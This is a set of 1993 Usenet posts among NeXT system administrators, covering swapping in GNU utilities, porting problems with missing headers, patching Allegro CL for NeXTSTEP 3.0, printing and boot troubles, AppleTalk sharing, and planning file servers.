Newsgroups: comp.sys.next.advocacy,comp.sys.next.sysadmin From: aru@sonata.cc.purdue.edu (Sri Ramkrishna) Subject: Replacing NeXT UNIX with GNU Message-ID: <C66JB1.H20@mentor.cc.purdue.edu> Sender: news@mentor.cc.purdue.edu (USENET News) Organization: Purdue University Date: Wed, 28 Apr 1993 05:59:25 GMT I'm interested in hearing about folks who have replaced the majority of there NeXT UNIX programs with GNU ones. The more I use the the NeXT supplied UNIX programs, the more I find that I want to use the GNU ones. Almost everything is provided by GNU already. Compilers, make, file utilities, editors, etc. I'm curious as to how far one can go to, or in other words, if I were to complete replace /bin, /usr/bin, /usr/ucb, and however many other directories with the GNU counterparts, what programs would I have to *definitely* use the NeXT ones. I'm pretty sure I have to use NeXT make, but is that it? On a similar, but more theorectical note, does anybody have a clue as how feasible it would be to complete replace NeXT's BSD UNIX with GNU? I for one would definitely love to see GNU as the standard UNIX guts that NeXT uses. Every GNU program I've ever seen has always been superior to it's BSD/SysV counterpart, more features, better speed, etc. Would it not make a LOT of sense to dump the OLD, EXPENSIVE, BUGGY BSD stuff and switch over to *FREE* GNU? My only concern would be if the GNU license stuff would prohibit me from making insanely great NeXTSTEP programs which I could copyright. Any thoughts? -dsm -- Posted by a friend.
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software From: gemoe@proximus.north.de (Gerhard Moeller) Subject: unistd.h Sender: gemoe@proximus.north.de Organization: Gerhard Moeller, German NeXT User Group, Oldenburg. Date: Tue, 27 Apr 1993 21:24:36 GMT Message-ID: <1993Apr27.212436.3532@proximus.north.de> HELP! I try to compile tulp (Unix listserv) - but it needs the include file <unistd.h> * What does this file define??? * Is there a replacement??? (Did anyone compile tulp before?) Thanks, gerhard. -- +---------------------------< principiis obsta! >---------------------------+ N Gerhard Moeller, Teichstrasse 12, 2900 Oldenburg (FRG) [*: 02/21/1968] N e Private: gemoe@proximus.north.de Phone (voice): +49-441-75520 e X Uni: Gerhard.Moeller@arbi.Informatik.Uni-Oldenburg.DE NeXTmail X T Z-Net: Gerhard.Moeller@uniol.zer encouraged! T +-> NoGeNUG - Northern German NeXT User Group: NoGeNUG@proximus.north.DE <-+
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software From: gemoe@proximus.north.de (Gerhard Moeller) Subject: tulp - the UNIX listserv Sender: gemoe@proximus.north.de Organization: Gerhard Moeller, German NeXT User Group, Oldenburg. Date: Tue, 27 Apr 1993 21:26:54 GMT Message-ID: <1993Apr27.212654.3639@proximus.north.de> HELP! I try desperately to compile tulp Version 3.0.3 (a Unix port of the BITNET listserv) -- without any success. (<unistd.h> is missing) * Did anyone out there compile tulp already on a NeXT? * Does anyone have another (good) listserver??? Thank you, Gerhard. -- +---------------------------< principiis obsta! >---------------------------+ N Gerhard Moeller, Teichstrasse 12, 2900 Oldenburg (FRG) [*: 02/21/1968] N e Private: gemoe@proximus.north.de Phone (voice): +49-441-75520 e X Uni: Gerhard.Moeller@arbi.Informatik.Uni-Oldenburg.DE NeXTmail X T Z-Net: Gerhard.Moeller@uniol.zer encouraged! T +-> NoGeNUG - Northern German NeXT User Group: NoGeNUG@proximus.north.DE <-+
Newsgroups: comp.sys.next.sysadmin From: bvrotney@ADS.COM (Bill Vrotney) Subject: Re: ACL for 2.0 under 3.0 In-Reply-To: marsella@athos.rutgers.edu's message of 27 Apr 93 22:06:54 GMT Message-ID: <1993Apr28.081243.5500@ads.com> Sender: usenet@ads.com (USENET News) Organization: Advanced Decision Systems, Mtn. View, CA (415) 960-7300 References: <Apr.27.18.06.53.1993.10996@athos.rutgers.edu> Date: Wed, 28 Apr 1993 08:12:43 GMT In article <Apr.27.18.06.53.1993.10996@athos.rutgers.edu> marsella@athos.rutgers.edu (Stacy Marsella) writes: Path: ads.com!decwrl!decwrl!sdd.hp.com!zaphod.mps.ohio-state.edu!howland.reston.ans.net!gatech!rutgers!igor.rutgers.edu!athos.rutgers.edu!marsella From: marsella@athos.rutgers.edu (Stacy Marsella) Newsgroups: comp.sys.next.sysadmin Date: 27 Apr 93 22:06:54 GMT Organization: Rutgers Univ., New Brunswick, N.J. Lines: 11 Is it possible to get Franz's Allegro CL 3.1.20 for release 2.0 of the OS to work under 3.0 of the OS? If so is there some magic to doing it. ... This is starting to be a FAQ. ============================================================================= The following is a procedure for fixing Allegro CL 3.1.20 so that it works under NeXTstep 3.0. You should find all of the files mentioned here on your ACL distribution. We refer to the top level directory of this distribution as ACL and the build directory ACL/build. Note: You may need to remove the dsp library references below to get it to compile. Warning!!! (from Franz) This procedure results in creating a new ucl.o binary file. You may distribute this method but not the resulting ucl.o file. 1. First look at the byte size of the file ACL/build/ucl.o, if the size is 612364 bytes then skip to step 2. Otherwise look at the file ACL/dumplispPatch. This is a shell archive that will patch ucl.o with the "dump lisp" patch. More precisely cd ACL cp dumplispPatch build cd build /bin/sh dumplispPatch /bin/sh install_patch.sh Now ucl.o should be 612364 bytes long. (the original ucl.o will be saved in a file called ucl_orig.o). 2. Next edit the file ACL/build/config (you mihgt want to save the orginal config file). In that file you will see two statements: LIBRARIES = -lNeXT_s -ldsp_s -lsys_s USYMS = -u libsys_s -u libNeXT_s -u libdsp_s In the LIBRARIES statement, change -ldsp_s to -ldsp In the USYMS statement, delete the -u libdsp_s 3. Next you edit the new binary file ACL/build/ucl.o in emacs and save the results. Go to ACL/build directory, run emacs and find-file ucl.o replace-string _rld _jld replace-string __bcopy _bcopy^@ save-buffer The ^@ above is the null character (000 byte) and can be entered in emacs using C-q C-<space> and will look in an emacs buffer as a single character ^@ and NOT two characters. 4. Finally then reinstall ACL as usual. You do this by going to the ACL/build directory and /bin/sh config ============================================================================= -- Bill Vrotney BAH/Advanced Decision Systems
Newsgroups: comp.sys.next.advocacy,comp.sys.next.sysadmin From: david@postman.gr.osf.org (David George) Subject: Re: Replacing NeXT UNIX with GNU Message-ID: <1993Apr28.083355.15189@osf.org> Sender: news@osf.org (USENET News System) Organization: OSF RI Grenoble References: <C66JB1.H20@mentor.cc.purdue.edu> Date: Wed, 28 Apr 1993 08:33:55 GMT In article <C66JB1.H20@mentor.cc.purdue.edu>, aru@sonata.cc.purdue.edu (Sri Ramkrishna) writes: |> |> On a similar, but more theorectical note, does anybody have a clue as |> how feasible it would be to complete replace NeXT's BSD UNIX with GNU? |> My only concern would |> be if the GNU license stuff would prohibit me from making insanely |> great NeXTSTEP programs which I could copyright. |> |> Any thoughts? Yeah - take a holiday. What are you going to do for an OS ? GNU doesn't have one and their HURD (may or may not support full UNIX semantics) has no release date. As Mike Bushnell declined to give any release date at last weeks MachNIX conference saying "software folks never know how fast they'll work". Your GNU copyright fears are a none issue too. Many system vendors supply GNU software - esp. the compiler. David.
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software,comp.sys.next.programmer From: eps@futon.SFSU.EDU (Eric P. Scott) Subject: Re: unistd.h Message-ID: <1993Apr28.091542.2175@csus.edu> Followup-To: comp.sys.next.programmer Sender: news@csus.edu Organization: San Francisco State University References: <1993Apr27.212436.3532@proximus.north.de> Date: Wed, 28 Apr 1993 09:15:42 GMT Apologies if this comes across as a flame, but it seems that every couple of weeks someone complains that they can't port something because it wants some .h file that NeXT doesn't provide, and this topic really needs to be taken up in the FAQ if it isn't there already. Reality: different flavors of UNIX differ in subtle ways. Things didn't start out that way, but for various reasons (vendors trying to "proprietize" "open" systems, outright sabotage by POSIX thugs, etc.) #include files, libraries, compiler and linker options vary between systems. NeXT is no better or worse than any other UNIX vendor in this regard. For the most part, portability issues are well understood, but it's incumbent on programmers to be aware of those places where #ifdefs, system-dependent modules, and/or diverse Makefiles are needed. It's much harder to retrofit a system-specific source than to build in portability from the start. When I write something on a NeXT, I generally tend toward one of two extremes: either I know it hasn't got a prayer of ever running on anything but a NeXT, in which case I'll optimize it specifically for NeXTSTEP, or I'll write it to be as reusable as possible. Being at a large university gives me access to many different kinds of systems, so I've developed a mindset towards portable code. BEFORE YOU POST TO THE NET: what happens if you simply remove the offending #include? You'd be surprised how often people include stuff out of habit that they don't even use. In many cases things that one system defines in one file are defined elsewhere on another--and many of the standard #include files themselves #include others they depend on. So there's a good chance that nuking one line does the trick. If it doesn't, at least you'll know what the _true_ dependency is, and you can "grep" though the .h files you do have to see what might need to be substituted. A look at <unistd.h> on Another UNIX System reveals that it mostly defines things that NeXT has in <stdio.h>, <fcntl.h>, and <libc.h>. Again, the question isn't "where is unistd.h?" but "what was the point of including it in the first place?" Sometimes you have to deal with slightly different paradigms, e.g. both System V and BSD have opendir/readdir, but the former uses a struct dirent, where the latter uses struct direct. In other cases, you may be have to deal with radically different approaches (e.g. terminal I/O). Followups to c.s.n.p please--this is not germane to either newsgroup you originally posted to. -=EPS=-
Newsgroups: comp.sys.next.sysadmin From: jjfeiler@relief.com (John Jay Feiler) Subject: Help! Loginwindow not appearing on startup Message-ID: <1993Apr28.043053.285@relief.com> Sender: jjfeiler@relief.com Organization: relief consulting Date: Wed, 28 Apr 1993 04:30:53 GMT I'm having a rather odd problem. When I boot my system, the startup of nmserver seems to be dying. I get an error message on the console, something like: tcp_listener.bind failed: errno=48 TCP: panic. or something like that. The window server starts, and the mouse cursor appears in the upper right corner, but the loginwindow never appears. Strangely enough, if I boot single-user with bsd-s, then immediately ^D to begin multi-user startup, everything is hunky-dory. Does anybody have any ideas what could be causing nmserver problems? -- John Feiler jjfeiler@relief.com 4926 152nd St. SW NeXTmail Welcome!!! Edmonds, WA 98026-3344 Independent NeXTSTEP Developer
Newsgroups: comp.sys.next.sysadmin From: Becki Kain <beckers@imagine.com> Subject: newsgrazer posting Message-ID: <1993Apr28.134022.5716@imagine.com> Sender: beckers@imagine.com Organization: Imagine Multimedia, Inc., Ann Arbor, MI, USA Date: Wed, 28 Apr 1993 13:40:22 GMT hi all. we're running newsgrazer on our nexts. everyone in the company can read news fine, but only three people can post. all other posts end up in ~/dead.article. i don't think it's a permissions problem. any help would be great. thanks beckers --- Becki Kain - Imagine Multimedia, Inc. - beckers@imagine.com nextmail welcome "saw the news last night - all illustrated with cartoons" joe jackson -- Becki Kain - Imagine Multimedia, Inc. - beckers@imagine.com nextmail welcome "saw the news last night - all illustrated with cartoons" joe jackson
From: u-magpie@mcl.ucsb.edu (Mark Dadgar -NeXT CC) Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.hardware Subject: LaserJet 4 and Ethernet Remote Printing - HELP! Message-ID: <u-magpie.735874969@mcl> Date: 27 Apr 93 01:42:49 GMT Sender: root@ucsbcsl.ucsb.edu Followup-To: comp.sys.next.misc I've got the LJ configured with the correct IP address, netmask, and default gateway. I created a NetInfo entry for both the printer (in machines) and the printer (in printers). The printcap for the printer looks like this: MIS_Suite105: \ :rm=mis_printer:rp=mis_printer:lp=:ty=HP LaserJet 4 PostScript: \ :note=:sd=/usr/spool/NeXT/MIS_Suite105:lo=lock: The machines entry for mis_printer has the name, the IP address, and the ethernet address. I can ping the printer just fine. I've got syslog on the printer pointing to my machine, and error messages (like if I were to take the printer off-line) show up on my console. But, lpc on my NeXT says "Waiting for mis_printer to come up." The console says "connection to mis_printer is down." RFC 1179 (regarding lpd) says that the printer subsystem listens on port 515. The JetDirect manual says the card/printer waits for a connection on port 9100. Has anyone gotten this combination working? I don't care how it's done, I just want it done. Printing 1.5Mb PS images at 57,600bd is painful, to say the least. FYI, I'm running a 16Mb Mono Turbo with NS3.0 (well, I'm forbidden to say any different... ). :) Thanks for any help! I can provide more info via email. Posting is currently broken at our site, but mail will be forwarded from this account. I also set the Reply-To. - Mark Mark Dadgar, NeXT SysAdmin | Some go up, some go down William Morris Agency | Some go thirsty, some just drown mdadgar@wma.com (NeXTmail) | "That's the law 'round here" I voted for Bill & Opus | Said the King of Sunset Town -- Mark Dadgar | A pretty sight it seemed to be UCSB NeXT Campus Consultant | An avenue of eternal peace u-magpie@mcl.mcl.ucsb.edu | But he said "What is here can soon burn down... Bill & Opus - '92 | I'm the King of Sunset Town"
From: nevai@ops.mps.ohio-state.edu (Paul Nevai) Newsgroups: comp.sys.next.advocacy,comp.sys.next.sysadmin Subject: Re: Replacing NeXT UNIX with GNU Date: 28 Apr 1993 16:26:47 GMT Organization: Department of Mathematics, The Ohio State University Message-ID: <1rmb87$8id@mathserv.mps.ohio-state.edu> References: <C66JB1.H20@mentor.cc.purdue.edu> In article <C66JB1.H20@mentor.cc.purdue.edu> towers!mystic!kareth@gator.rn.com azt mondja: : :I'm interested in hearing about folks who have replaced the majority :of there NeXT UNIX programs with GNU ones. The more I use the the :NeXT supplied UNIX programs, the more I find that I want to use the :GNU ones. Almost everything is provided by GNU already. Compilers, I am one of those and I am very happy. Espesially with gtar and gawk but the others are great too. I understand that the NeXT cc is gcc. Take care...Paul Paul Nevai nevai@math.ohio-state.edu Dept Math - Ohio State University 1-614-292-3317 (Office) Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
From: Charles William Swiger <infidel+@CMU.EDU> Newsgroups: comp.sys.next.sysadmin,comp.sys.next.advocacy Subject: Re: Replacing NeXT UNIX with GNU Date: Wed, 28 Apr 1993 13:31:03 -0400 Organization: Senior, Chemistry, Carnegie Mellon, Pittsburgh, PA Message-ID: <QfrfxLW00WB3QCh4JV@andrew.cmu.edu> In-Reply-To: <C66JB1.H20@mentor.cc.purdue.edu> Excerpts from netnews.comp.sys.next.advocacy: 28-Apr-93 Replacing NeXT UNIX with GNU by Sri Ramkrishna@sonata.cc > I'm interested in hearing about folks who have replaced the majority > of there NeXT UNIX programs with GNU ones. The more I use the the > NeXT supplied UNIX programs, the more I find that I want to use the > GNU ones. Almost everything is provided by GNU already. Compilers, > make, file utilities, editors, etc. I'm curious as to how far one can > go to, or in other words, if I were to complete replace /bin, > /usr/bin, /usr/ucb, and however many other directories with the GNU > counterparts, what programs would I have to *definitely* use the NeXT > ones. I'm pretty sure I have to use NeXT make, but is that it? Be very, very careful. There are a number of subtle dependancies built into an operating system (such as undocumented flags), and blindly replacing programs will probably trash your system into unusability. There are *many* things that you must keep the version that NeXT supplied. One key point is that you must put your newly compiled versions back in the place where the NeXT version was. This is because a number of scripts (such as the /etc/rc* stuff used when booting) specify exact pathnames. Try linking small programs using the -object flag. This will result in a different type of executable that requires much less disk space, but takes a little longer to load. A list of programs that I've replaced without problems follows below. Sure, you could replace others, but I only fixed things that I use and care about.... > On a similar, but more theorectical note, does anybody have a clue as > how feasible it would be to complete replace NeXT's BSD UNIX with GNU? > I for one would definitely love to see GNU as the standard UNIX guts > that NeXT uses. Every GNU program I've ever seen has always been > superior to it's BSD/SysV counterpart, more features, better speed, > etc. Would it not make a LOT of sense to dump the OLD, EXPENSIVE, > BUGGY BSD stuff and switch over to *FREE* GNU? My only concern would > be if the GNU license stuff would prohibit me from making insanely > great NeXTSTEP programs which I could copyright. What are you going to do for a kernel? NeXTstep uses Mach, and seems to be dependant upon Mach features. And the list: /bin -rwxr-xr-x 1 root 34812 Dec 30 12:48 sed* -rwxr-xr-x 1 root 7128 Jan 12 23:40 chmod* -rwxr-xr-x 1 root 5572 Jan 12 23:40 chgrp* -rwxr-xr-x 1 root 7576 Jan 12 23:40 dd* -rwxr-xr-x 1 root 13516 Jan 12 23:40 cp* -rwxr-xr-x 1 root 6852 Jan 12 23:40 df* -rwxr-xr-x 1 root 12132 Feb 6 15:54 pr* -rwxr-xr-x 1 root 229376 Feb 23 13:08 zsh* -rwxr-xr-x 1 root 7184 Feb 23 13:46 cmp* -rwxr-xr-x 1 root 51884 Feb 23 13:51 diff* /usr/bin -rwxr-xr-x 1 root 63624 Nov 2 21:26 etags* -rwxr-xr-t 2 root 639024 Nov 2 22:01 emacs* -rwxr-xr-x 1 root 40960 Nov 20 15:21 egrep* -rwxr-xr-x 1 root 6288 Dec 30 14:08 shar* lrwxrwxrwx 1 root 19 Jan 7 13:28 perl -> /usr/local/bin/perl*@ -rwsr-sr-x 1 uucp 352256 Jan 27 01:23 kermit* -rwxr-xr-x 1 root 5288 Feb 6 15:54 comm* -rwxr-xr-x 1 root 10040 Feb 6 15:54 join* -rwxr-xr-x 1 root 18956 Feb 6 15:54 sort* -rwxr-xr-x 1 root 5076 Feb 6 15:54 sum* -rwxr-xr-x 1 root 7036 Feb 6 15:54 split* -rwxr-xr-x 1 root 15532 Feb 6 15:54 tr* -rwxr-xr-x 1 root 6332 Feb 6 15:54 uniq* -rwxr-xr-x 1 root 13024 Feb 23 13:45 diff3* /usr/ucb -rwxr-xr-x 1 root 63624 Nov 2 21:27 ctags* -rwxr-xr-x 1 root 5872 Feb 6 15:54 expand* -rwxr-xr-x 1 root 5420 Feb 6 15:54 fold* -rwxr-xr-x 1 root 5896 Feb 6 15:54 head* -rwxr-xr-x 1 root 6076 Feb 6 15:54 unexpand* -rwxr-xr-x 1 root 5252 Feb 6 15:54 wc* -rwxr-xr-x 1 root 9136 Feb 6 15:54 tail* lrwxrwxrwx 1 root 25 Feb 11 17:08 uncompress -> /usr/local/bin/uncompress*@ -rwxr-xr-x 2 root 40960 Feb 13 11:34 zcat* And here's part of my /usr/local/bin (for things that I'm afraid to replace the NeXT versions of because of shell scripts, but that I want the new versions of first in my path).... -rwxr-xr-x 1 root 98304 Feb 6 09:29 tar* -rwxr-xr-x 1 root 3280 Feb 6 15:54 cksum* -rwxr-xr-x 1 root 6508 Feb 6 15:54 cat* -rwxr-xr-x 1 root 6580 Feb 6 15:54 cut* -rwxr-xr-x 1 root 31876 Feb 6 15:54 csplit* -rwxr-xr-x 1 root 27552 Feb 6 15:54 nl* -rwxr-xr-x 1 root 15284 Feb 6 15:54 od* -rwxr-xr-x 1 root 26544 Feb 6 15:54 tac* -rwxr-xr-x 1 root 872 Feb 9 09:44 ps2ascii* -rwxr-xr-x 1 root 2208 Feb 9 09:48 rtf2ascii* -rwxr-xr-x 2 root 40960 Feb 13 11:34 uncompress* -rwxr-xr-x 1 root 16384 Feb 23 13:41 cmp* -rwxr-xr-x 1 root 81920 Feb 27 11:38 flex* -rwxr-xr-x 1 root 73728 Mar 3 20:44 bison* -rwxr-xr-x 3 root 40960 Mar 15 14:32 gunzip* -rwxr-xr-x 3 root 40960 Mar 15 14:32 gzip* -rwxr-xr-x 3 root 40960 Mar 15 14:32 zcat* -rwxr-xr-x 2 root 1864 Mar 15 14:32 zcmp* -rwxr-xr-x 1 root 2959 Mar 15 14:32 znew* -rwxr-xr-x 2 root 1864 Mar 15 14:32 zdiff* -rwxr-xr-x 1 root 745 Mar 15 14:32 zmore* -rwxr-xr-x 1 root 987 Mar 15 14:32 zforce* -rwxr-xr-x 1 root 2949 Mar 15 14:32 gzexe* -rwxr-xr-x 1 root 57344 Mar 20 13:51 less* -rw-r--r-- 1 root 4745 Mar 20 13:51 less.hlp -rwxr-xr-x 1 root 50852 Mar 20 13:51 lesskey* -rwxr-xr-x 1 root 36244 Mar 20 14:22 ytalk* Charles William Swiger -- CMU...*crunch*! | 1. You can't fly. (Oops, Tom. :) ------------------------------------------+ 2. Cars are always real, even AMS & normal mail: infidel@cmu.edu | when they're not. Failing that: cs4w+@andrew.cmu.edu | 3. Cops are not your friends. NeXTmail: chuck@mon.slip.andrew.cmu.edu | 4. Fire burns.
Newsgroups: comp.sys.next.sysadmin From: thompson@netcom.com Subject: Help: "Some or all of your print job cannot be printed.." Message-ID: <thompsonC67G9C.ML7@netcom.com> Organization: Netcom - Online Communication Services (408 241-9760 guest) Date: Wed, 28 Apr 1993 17:51:12 GMT Got a NeXTlaser on a turbo color that has been working find for about 11 months (w/3.0 for 4 months) and now it's acting up. Every now and then when printing (from Webster, WP, Edit, etc.) I get a message similar to the one in the subject (don't have the exact wording). Sometimes a page comes out, usually nothing. Any ideas? Powering down/up or rebooting usually solves the problem (but is not a reasonable solution. :) thanks! Eric
Newsgroups: comp.sys.next.sysadmin From: nwc (Nick Christopher) Subject: Re: Alternative to ixBuild Message-ID: <C67n12.1CA@ny.shl.com> Sender: usenet@ny.shl.com (Net News) Organization: SHL Systemhouse Inc. References: <1993Apr22.120840.7420@softDesign.COM> Date: Wed, 28 Apr 1993 20:17:25 GMT > > ixBuild -fman -Nwhatis -Ncat\* -V > > ...but ixBuild is no longer. you should use "ixbuild -g" - note the capitolization has changed! \n Nicholas Christopher Systemhouse nwc@ny.shl.com
Newsgroups: comp.sys.next.advocacy,comp.sys.next.sysadmin From: karthy@dannug.dk (Karsten Thygesen) Subject: Re: Replacing NeXT UNIX with GNU In-Reply-To: aru@sonata.cc.purdue.edu's message of Wed, 28 Apr 1993 05:59:25 GMT Message-ID: <KARTHY.93Apr28213757@dannug.dannug.dk> Sender: news@dannug.dk (Usenet news owner) Organization: Dannug - Danish NeXT Users Group References: <C66JB1.H20@mentor.cc.purdue.edu> Date: Wed, 28 Apr 1993 20:37:57 GMT >>>>> On Wed, 28 Apr 1993 05:59:25 GMT, aru@sonata.cc.purdue.edu (Sri Ramkrishna) said: Sri> I'm interested in hearing about folks who have replaced the majority Sri> of there NeXT UNIX programs with GNU ones. The more I use the the Sri> NeXT supplied UNIX programs, the more I find that I want to use the Sri> GNU ones. Almost everything is provided by GNU already. Compilers, Sri> make, file utilities, editors, etc. I'm curious as to how far one can Sri> go to, or in other words, if I were to complete replace /bin, Sri> /usr/bin, /usr/ucb, and however many other directories with the GNU Sri> counterparts, what programs would I have to *definitely* use the NeXT Sri> ones. I'm pretty sure I have to use NeXT make, but is that it? I use close to all the GNU stuff, but don't substitute /usr/bin/* or /bin/* stuff with the GNU counterparts as some programs might depend on the NeXT versions. Place all your GNU stuff in /usr/local/bin and have this directory first in your path. It also has the advantage, that you can upgrade NeXTStep to the next version without reinstalling all the GNU stuff. My policy is to keep a clean NeXT-OS and then extend as mush as possible in /usr/local/bin - it seems to work :-) Quite a few of the programs in the standard path has been modified for the NeXT to take advantage of netinfo. Sri> On a similar, but more theorectical note, does anybody have a clue as Sri> how feasible it would be to complete replace NeXT's BSD UNIX with GNU? Sri> I for one would definitely love to see GNU as the standard UNIX guts Sri> that NeXT uses. Every GNU program I've ever seen has always been Sri> superior to it's BSD/SysV counterpart, more features, better speed, Sri> etc. Would it not make a LOT of sense to dump the OLD, EXPENSIVE, Sri> BUGGY BSD stuff and switch over to *FREE* GNU? My only concern would Sri> be if the GNU license stuff would prohibit me from making insanely Sri> great NeXTSTEP programs which I could copyright. Well - it could be great to have both GNU and NeXTSTEP, but GNU seems to amin at the X11 windowsystem as the default graphical platform as it is free and widely used already. Therefore: to get the best from both worlds: keep a clean NeXTSTEP and extend with all the improved GNU utilities. Regards, Karsten.
Newsgroups: comp.sys.next.advocacy,comp.sys.next.sysadmin From: cedman@princeton.edu (Carl Edman) Subject: Re: Replacing NeXT UNIX with GNU In-Reply-To: aru@sonata.cc.purdue.edu's message of Wed, 28 Apr 1993 05:59:25 GMT To: aru@sonata.cc.purdue.edu (Sri Ramkrishna) Message-ID: <CEDMAN.93Apr28091530@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <C66JB1.H20@mentor.cc.purdue.edu> Date: Wed, 28 Apr 1993 13:15:30 GMT In article <C66JB1.H20@mentor.cc.purdue.edu> aru@sonata.cc.purdue.edu (Sri Ramkrishna) writes: I'm interested in hearing about folks who have replaced the majority of there NeXT UNIX programs with GNU ones. The more I use the the NeXT supplied UNIX programs, the more I find that I want to use the GNU ones. Almost everything is provided by GNU already. Compilers, make, file utilities, editors, etc. I'm curious as to how far one can go to, or in other words, if I were to complete replace /bin, /usr/bin, /usr/ucb, and however many other directories with the GNU counterparts, what programs would I have to *definitely* use the NeXT ones. I'm pretty sure I have to use NeXT make, but is that it? Mostly this is no problem at all. Yet, to avoid breaking scripts and complicating upgrades, I suggest the following which has worked well for years of very intense shell usage on this NeXT. First, don't overwrite any of the NeXT programs. Instead install all the GNU utilities in /usr/local/bin (as well as all other custom UN*X binaries without NeXTstep interfaces) and prepend their names with 'g' (most GNU programs have an installation option to do this automatically). Then add private aliases to your shell interactive initialization files which cause the 'g' programs to be executed whenever you use one of the standard utilities. This way you get full advantage of the GNU tools without breaking anything. On a similar, but more theorectical note, does anybody have a clue as how feasible it would be to complete replace NeXT's BSD UNIX with GNU? I for one would definitely love to see GNU as the standard UNIX guts that NeXT uses. Every GNU program I've ever seen has always been superior to it's BSD/SysV counterpart, more features, better speed, etc. Would it not make a LOT of sense to dump the OLD, EXPENSIVE, BUGGY BSD stuff and switch over to *FREE* GNU? My only concern would be if the GNU license stuff would prohibit me from making insanely great NeXTSTEP programs which I could copyright. BSD is almost as free as GNU. If you don't believe me check out the Net-2 distribution. As for the GNU OS, it is not in a state to be installed by application level programmers, much less users. Also, do you want to give up your beautiful NeXTstep interface and the ability to use any commerical or PD programs available in binary only for your NeXT ? Carl Edman
From: danno@css.itd.umich.edu (Daniel T. Pritts) Newsgroups: comp.sys.next.sysadmin Subject: Re: "Share"ing a file with a Mac via Appletalk Date: 28 Apr 1993 22:04:39 GMT Organization: University of Michigan - ITD Consulting and Support Message-ID: <1rmv1nINNiuu@stimpy.css.itd.umich.edu> References: <1993Apr27.145001.66846@cc.usu.edu> slv0y@cc.usu.edu writes > My NeXT machines can see my Mac via Appletalk just fine. (I'm using 3.0) What > I want to know is if there is any way to "share" a directory on a NeXT machine > with the Mac so that the Mac can log into the NeXT and get at a file? None supported by NeXT. I don't know if you can use CAP (columbia appletalk package) under 3.0 but I bet you can. This would provide this capability. there's also some commercial software that does this, I think. There is also commercial software that allows a mac to access directories exported via NFS. Finally, there is a package produced here at umich called netatalk, which has superior performance to CAP (since it's a kernel-level driver) but currently it doesn't run on NeXTs, although supposedly someone will be working on this this summer. -- dan pritts consultant/system administrator dan.pritts@umich.edu um itd/css unix support group 313/998-6265
From: anstine@uniblab.sas.upenn.edu (David Anstine) Newsgroups: comp.sys.next.bugs,comp.sys.next.sysadmin Subject: Bug in Upgrade.app Message-ID: <123861@netnews.upenn.edu> Date: 29 Apr 93 01:11:24 GMT Sender: news@netnews.upenn.edu Followup-To: comp.sys.next.bugs Organization: University of Pennsylvania A few months ago I upgraded a machine to 3.0. I used this machine to netupgrade ~20 more machines. I later discovered that none of these machines could properly run netinfo applications, ie: whenever they called an Open Domain dialog box, they crashed. The problem was tracked to /usr/lib/netinfo on the upgrade server which was corrupt and hence propagated throughout my network. I wrote the corruption off as a fluke. Today on the next-managers list, someone complained about the same exact thing. Replacing /usr/lib/netinfo from CD also solved his problem. Anyone else experience this? -dave
Newsgroups: comp.sys.next.sysadmin From: aelman@cs.stanford.edu Subject: Re: "Share"ing a file with a Mac via Appletalk Message-ID: <1993Apr29.055249.22474@leland.Stanford.EDU> Sender: news@leland.Stanford.EDU (Mr News) Organization: DSO, Stanford University References: <1rmv1nINNiuu@stimpy.css.itd.umich.edu> Date: Thu, 29 Apr 93 05:52:49 GMT In article <1rmv1nINNiuu@stimpy.css.itd.umich.edu> danno@css.itd.umich.edu (Daniel T. Pritts) writes: > slv0y@cc.usu.edu writes > > My NeXT machines can see my Mac via Appletalk just fine. (I'm using > 3.0) What > > I want to know is if there is any way to "share" a directory on a > NeXT machine > > with the Mac so that the Mac can log into the NeXT and get at a > file? > > None supported by NeXT. I don't know if you can use CAP (columbia > appletalk package) under 3.0 but I bet you can. This would > provide this capability. > We're using CAP on a NeXT running 3.0 and it works fine. At least I think it's CAP (I'm almost positive it is). Adam Elman aelman@cs.stanford.edu
Newsgroups: comp.sys.next.sysadmin From: dg@synex.andi.org (David M. Gursky) Subject: Re: install fonts Message-ID: <C675y5.4MG@nextsrv1.andi.org> Sender: usenet@nextsrv1.andi.org (usenet) Organization: Association of NeXTSTEP Developers International References: <1993Apr27.101459.26251@news.csuohio.edu> Date: Wed, 28 Apr 1993 14:08:28 GMT In article <1993Apr27.101459.26251@news.csuohio.edu> cowboy@trans.csuohio.edu (Joe Rosenfeld) writes: > Isn't it true that the buildafmdir with NS 3.0 is broken and you need > the copy from your 2.x system? Works fine for me, but then again, I didn't set up this NeXT. On the other hand, I think this NeXT postdates 3.0. To sum it up, I don't know.
Newsgroups: comp.sys.next.sysadmin From: woo@ornl.gov (John W. Wooten) Subject: Zilla Question Message-ID: <1993Apr29.132741.18214@ornl.gov> Sender: usenet@ornl.gov (News poster) Organization: Oak Ridge National Laboratory Date: Thu, 29 Apr 1993 13:27:41 GMT I've configured Zilla for the test app using ecm on 12 NeXTStations in the same netinfor domain and tested it. It works fine. Now from a 13th station (in a standalone netinfor domain) I wish to run the ecm program using Zilla on the 12 workstations. I configure Zilla on the 13th station and try to add hosts and I get an error about the domains, so I try to add specific hosts and type in each one's explicit ip name and identify it as a NeXT. The problem is that they now show up as being unavailble. I can ping them and they are fine, I know they are not busy,etc. Is it possible to do what I'm saying and if so how? - - - - - - - - - J. W. Wooten
Newsgroups: comp.sys.next.sysadmin From: jblue@ocotillo.mitre.org (Jason D. Blue) Subject: File server and client architecture query Message-ID: <1993Apr29.134454.6593@linus.mitre.org> Sender: news@linus.mitre.org (News Service) Organization: The MITRE Corporation Date: Thu, 29 Apr 1993 13:44:54 GMT Hello world, I am in the process of designing the upgrade of our 40+ machines to NS 3.0, and would like to hear of your experiences and configuration. What I am particularly interested in is your layout of file servers (what files are being exported, from where and to where). Since most of my users are developers, they need access to the Developer.pkg and Demonstrations.pkg, as well as the other packages. However, since the client systems only have a 200mb hard drive, our file servers provide the required files. I noticed that under 3.0 these packages include many binaries, libraries, and system files that are installed in many different locations (/bin, /lib, /usr/bin, /usr/lib, /usr/etc, /private, /usr/dict, etc.), besides the usual items in /Next___ and /Local___. The binaries I can distribute via /usr/local/bin, and the same with (I think) the libraries, but what about the others? If you had a similar situation, and found a working solution, please pass it on via email. I'll summarize for the Net. Thanks in advance for your response, Jason -- Jason D. Blue 